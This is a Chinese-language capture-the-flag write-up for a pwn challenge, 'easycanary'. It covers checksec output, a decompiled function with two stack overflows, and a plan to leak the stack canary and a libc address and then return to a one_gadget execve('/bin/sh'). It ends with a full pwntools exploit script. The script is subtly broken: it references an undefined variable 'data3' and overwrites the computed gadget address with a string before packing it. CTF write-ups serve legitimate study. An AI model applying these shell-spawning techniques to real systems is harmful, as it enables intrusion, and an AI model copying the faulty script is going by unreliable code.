Overview
Safeguard、operation and analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pic@ubuntu:~/Desktop/pwn$ checksec easycanary [*] '/home/pic/Desktop/pwn/easycanary' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) pic@ubuntu:~/Desktop/pwn$ ./easycanary welcome any learn some canary challenge input your name 1 hello 1���� Let's start a game, can you guess the keyword? 1 fail
可以看到本题开了nx和canary,我们逻辑看了个大概,下面到ida 中具体分析,主函数没啥看的,直接到name()
函数中看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 name() { char buf; // [rsp+0h] [rbp-30h] char v2; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("input your name"); readi(&v2, 24LL); printf("hello %s\n", &v2); puts("Let's start a game, can you guess the keyword?"); read(0, &buf, 0x90uLL); if ( !strcmp(&buf, keyword) ) puts("good boy\n"); else puts("fail"); return __readfsqword(0x28u) ^ v3; }
Thinking
how to exploit vulnerability
可以看到两个溢出,一个泄露canary,一个直接上shellcode就行,所以思路如下:
在readi(&v2, 24LL)
把’\x00’抹掉,从而泄露canary
用pop rdi
把puts真实地址找出来,从而算偏移
利用one_gadget
把execve("/bin/sh")
找到
然后再调用一遍main()
函数直接起shell即可
Summary 本题要点就是canary,知道这个就很简单了,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * p = process('./easycanary') elf = ELF('./easycanary') libc = ELF('./libc.so.6') context.log_level = 'debug' p.recvuntil('input your name\n') p.send('A'*0x19) #当然用sendline('A'*0x18)也行,相当于直接接了个'\n' p.recvuntil('A'*0x18) canary = u64(p.recv(8)) canary = canary - 0x41 print hex(canary) p.recvuntil('guess the keyword?\n') payload = 'qwertyuiopasdfghjklzxcvbnm' + '\x00' payload += 'A'*(40-len(payload)) + p64(canary) payload += 'A'*(56-len(payload)) +p64(0x400a53)+ p64(0x601018)+p64(0x400666)+ p64(0x4009AB) p.sendline(payload) p.recvuntil('good boy\n\n') puts_got = u64(p.recv(6).ljust(8,'\x00')) libc_base = puts_got - libc.symbols['puts'] payload2 = libc_base + 0x45216 print hex(payload2) p.recvuntil(' your name\n') p.send('A'*0x19) p.recvuntil('A'*0x18) canary = u64(p.recv(8)) canary = data3 - 0x41 print hex(canary) p.recvuntil('guess the keyword?\n') payload2 = 'qwertyuiopasdfghjklzxcvbnm' + '\x00' payload2 += 'A'*(40-len(payload2)) + p64(canary) payload2 += 'A'*(56-len(payload2)) +p64(payload2) #gdb.attach(p) p.sendline(payload2) p.interactive()
题目链接 (so环境同目录